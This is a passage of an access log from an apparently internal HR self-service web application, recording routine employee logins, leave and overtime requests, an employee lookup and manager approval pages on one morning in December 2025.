+0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:14 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [02/Dec/2025:08:44:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [02/Dec/2025:08:44:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [02/Dec/2025:08:44:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13289 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13289 192.168.11.70 - - [02/Dec/2025:08:44:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19674 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19674 192.168.11.70 - - [02/Dec/2025:08:44:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120312 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120312 HTTP/1.1" 302 - 192.168.11.70 - - [02/Dec/2025:08:44:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120312+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120312+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 192.168.11.70 - - [02/Dec/2025:08:44:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:08:44:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:44:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:44:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:44:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:45:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6939698641881391 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:45:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6939698641881391 HTTP/1.1" 200 13560 192.168.11.70 - - [02/Dec/2025:08:45:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6939698641881391 HTTP/1.1" 200 15745 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6939698641881391" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:45:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6939698641881391 HTTP/1.1" 200 15745 192.168.11.70 - - [02/Dec/2025:08:45:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:45:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.11.144 - - [02/Dec/2025:08:45:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.674490904766819 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.674490904766819 HTTP/1.1" 200 8816 192.168.11.70 - - [02/Dec/2025:08:45:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:45:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:08:45:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.674490904766819 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.674490904766819" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.674490904766819 HTTP/1.1" 200 10989 192.168.11.144 - - [02/Dec/2025:08:45:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 192.168.11.144 - - [02/Dec/2025:08:45:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:45:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:45:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:45:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:45:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:46:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34695515413952394 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34695515413952394 HTTP/1.1" 200 8816 192.168.11.144 - - [02/Dec/2025:08:46:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34695515413952394 HTTP/1.1" 200 10995 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34695515413952394" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34695515413952394 HTTP/1.1" 200 10995 192.168.11.144 - - [02/Dec/2025:08:46:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 192.168.11.144 - - [02/Dec/2025:08:46:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:46:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:46:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:46:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:46:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48683037050671885 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:46:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48683037050671885 HTTP/1.1" 200 8816 192.168.40.52 - - [02/Dec/2025:08:46:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:46:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:46:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:46:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [02/Dec/2025:08:46:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:46:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.144 - - [02/Dec/2025:08:47:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48683037050671885 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48683037050671885" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48683037050671885 HTTP/1.1" 200 10989 192.168.40.52 - - [02/Dec/2025:08:47:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14336 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14336 192.168.11.144 - - [02/Dec/2025:08:47:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.40.52 - - [02/Dec/2025:08:47:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4496 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4496 192.168.11.144 - - [02/Dec/2025:08:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:47:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:47:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [02/Dec/2025:08:47:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:47:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:47:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [02/Dec/2025:08:47:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 40819 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 